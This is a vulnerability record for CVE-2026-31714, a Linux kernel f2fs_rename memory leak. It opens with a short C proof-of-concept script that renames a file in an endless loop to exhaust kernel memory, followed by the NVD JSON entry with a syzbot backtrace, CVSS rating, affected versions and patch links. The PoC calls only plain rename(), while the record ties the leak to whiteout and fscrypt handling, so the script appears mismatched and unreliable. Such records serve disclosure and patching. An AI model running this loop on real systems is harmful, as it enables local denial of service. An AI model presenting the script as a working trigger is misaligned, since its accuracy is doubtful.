CVE-2026-31714

/* * PoC for CVE-2026-31714 * Description: Trigger memory leak in f2fs_rename by renaming files in a loop. * Compilation: gcc -o poc_rename poc_rename.c */ #include <stdio.h> #include <unistd.h> int main() { const char *old_name = "test_file_old"; const char *new_name = "test_file_new"; int i = 0; // Create a dummy file if it doesn't exist creat(old_name, 0644); printf("Starting rename loop to trigger memory leak...\n"); while (1) { if (rename(old_name, new_name) == 0) { // Swap back for next iteration rename(new_name, old_name); i++; if (i % 10000 == 0) { printf("Renamed %d times. Check kernel memory usage.\n", i); } } else { perror("rename failed"); break; } } return 0; }

{"cve": {"id": "CVE-2026-31714", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T14:16:21.493", "lastModified": "2026-05-06T21:12:45.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix to avoid memory leak in f2fs_rename()\n\nsyzbot reported a f2fs bug as below:\n\nBUG: memory leak\nunreferenced object 0xffff888127f70830 (size 16):\n comm \"syz.0.23\", pid 6144, jiffies 4294943712\n hex dump (first 16 bytes):\n 3c af 57 72 5b e6 8f ad 6e 8e fd 33 42 39 03 ff <.Wr[...n..3B9..\n backtrace (crc 925f8a80):\n kmemleak_alloc_recursive include/linux/kmemleak.h:44 [inline]\n slab_post_alloc_hook mm/slub.c:4520 [inline]\n slab_alloc_node mm/slub.c:4844 [inline]\n __do_kmalloc_node mm/slub.c:5237 [inline]\n __kmalloc_noprof+0x3bd/0x560 mm/slub.c:5250\n kmalloc_noprof include/linux/slab.h:954 [inline]\n fscrypt_setup_filename+0x15e/0x3b0 fs/crypto/fname.c:364\n f2fs_setup_filename+0x52/0xb0 fs/f2fs/dir.c:143\n f2fs_rename+0x159/0xca0 fs/f2fs/namei.c:961\n f2fs_rename2+0xd5/0xf20 fs/f2fs/namei.c:1308\n vfs_rename+0x7ff/0x1250 fs/namei.c:6026\n filename_renameat2+0x4f4/0x660 fs/namei.c:6144\n __do_sys_renameat2 fs/namei.c:6173 [inline]\n __se_sys_renameat2 fs/namei.c:6168 [inline]\n __x64_sys_renameat2+0x59/0x80 fs/namei.c:6168\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xe2/0xf80 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nThe root cause is in commit 40b2d55e0452 (\"f2fs: fix to create selinux\nlabel during whiteout initialization\"), we added a call to\nf2fs_setup_filename() without a matching call to f2fs_free_filename(),\nfix it."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.6.23", "versionEndExcluding": "6.6.136", "matchCriteriaId": "99A74472-B9EF-4BEF-A3D3-C4A49B46D936"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7.11", "versionEndExcluding": "6.8", "matchCriteriaId": "CD8383BB-B294-4F4D-996D-A780685E6362"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.8.2", "versionEndExcluding": "6.9", "matchCriteriaId": "E9076253-5796-4E04-9AB4-42087B5524F4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.9", "versionEndExcluding": "6.12.84", "matchCriteriaId": "E8C01EA7-003E-4236-9C2D-0C2322FB0CE3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.25", "matchCriteriaId": "8B0A7E0E-F6D8-45DB-8CD9-01839FE40A6C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "7.0.2", "matchCriteriaId": "1BD58F1E-7C20-4C0D-92A2-FAC5CBFBE8A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.1:rc1:*:*:*:*:*:*", "matchCriteriaId": "B1EF7059-E670-45F4-B422-54C40FA86390"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/047c0aef6af37a2a35181aa085c616ad286386f1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/369eb2016d8e2f01931b3bad1cb9cefa83f44003", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3cf11e6f36c170050c12171dd6fd3142711478fc", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a76c1cad4e80a9802ef8048662255417e3ce5b79", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c78206dcb912ab60b8ee3cbe8c48d749a9a12e1e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}